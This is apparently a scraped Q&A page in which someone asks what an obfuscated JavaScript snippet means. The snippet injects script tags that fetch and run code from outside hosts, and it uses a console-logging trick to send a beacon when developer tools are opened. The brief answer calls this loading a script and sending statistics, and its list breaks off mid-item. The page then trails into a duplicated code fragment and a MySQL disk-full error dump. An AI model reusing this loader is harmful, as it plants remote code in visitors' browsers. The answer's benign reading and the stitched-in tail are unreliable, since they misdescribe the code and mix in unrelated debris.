Ask what this code means

(function() {
    try {
        var e = "__z_",
        t = "http://xxxxx.com/js/rem.js",
        c = document,
        n = c.currentScript,
        a = c.getElementsByTagName("head")[0],
        i = function(e, t) {
            var r = c.createElement("script");
            r.type = "text/javascript",
            t && (r.id = t),
            r.src = e,
            a.appendChild(r)
        },
        s = setInterval(function() {
            var I = new Image,
            C = window.console;
            Object.defineProperty(I, "id", {
                get: function() {
                    I.src = "http://l.xs.1drj.com/" + encodeURIComponent(t),
                    clearInterval(s)
                }
            }),
            C && (C.log(I), C.clear())
        },
        2e3);
        c.getElementById(e) || self == top && (i("http://xs.1drj.com/?tsliese=27311189", e)),
        n && (n.defer || n.async) ? i(t) : c.write("<script src="" + t + ""></script>")
    } catch(e) {};
})()
Apr.22,2021

after removing the mysterious variable name, the actual effect is

  1. loads the specified script asynchronously by adding the < script > tag to the head.
  2. send statistics. The way is to construct an img object and send statistics to http://l.xs.1drj.com/" + encodeURIComponent ("http://xxxxx.com/js/rem.js") address
  3. ) by triggering the src property of the img object.
</script>');
        }
    } catch(e) {};
})()
MySQL Query : SELECT * FROM `codeshelper`.`v9_news` WHERE status=99 AND catid='6' ORDER BY rand() LIMIT 5
MySQL Error : Disk full (/tmp/#sql-temptable-64f5-1e45201-59b5a.MAI); waiting for someone to free some space... (errno: 28 "No space left on device")
MySQL Errno : 1021
Message : Disk full (/tmp/#sql-temptable-64f5-1e45201-59b5a.MAI); waiting for someone to free some space... (errno: 28 "No space left on device")
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